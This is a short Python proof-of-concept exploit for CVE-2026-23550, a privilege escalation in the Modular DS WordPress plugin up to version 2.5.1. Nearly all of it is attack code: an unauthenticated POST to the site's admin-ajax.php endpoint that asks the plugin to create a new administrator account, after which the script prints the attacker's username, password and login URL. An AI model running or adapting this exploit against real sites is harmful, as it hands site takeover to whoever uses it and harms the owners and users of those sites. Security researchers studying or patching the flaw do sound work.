CVE-2026-23550

# CVE-2026-23550 Privilege Escalation PoC # Target: WordPress with Modular DS plugin <= 2.5.1 import requests import sys TARGET_URL = "http://target-wordpress-site.com" ATTACKER_USERNAME = "evil_admin" ATTACKER_EMAIL = "[email protected]" ATTACKER_PASSWORD = "P@ssw0rd123" def exploit_privilege_escalation(): """ This PoC demonstrates the privilege escalation vulnerability in Modular DS plugin. The plugin fails to properly validate user capabilities before allowing role modifications. """ # Step 1: Identify the vulnerable endpoint # The Modular DS plugin exposes AJAX handlers without proper capability checks endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Step 2: Prepare the privilege escalation payload # Create a new administrator account payload = { "action": "modular_ds_create_admin", "username": ATTACKER_USERNAME, "email": ATTACKER_EMAIL, "password": ATTACKER_PASSWORD, "role": "administrator" } # Step 3: Send the exploit request # Note: No authentication required due to missing capability checks try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[+] Created admin user: {ATTACKER_USERNAME}") print(f"[+] Password: {ATTACKER_PASSWORD}") print(f"[+] Login at: {TARGET_URL}/wp-admin") else: print(f"[-] Exploit failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") sys.exit(1) if __name__ == "__main__": print("[*] CVE-2026-23550 - Modular DS Plugin Privilege Escalation") print("[*] Target: Modular DS plugin <= 2.5.1") exploit_privilege_escalation()

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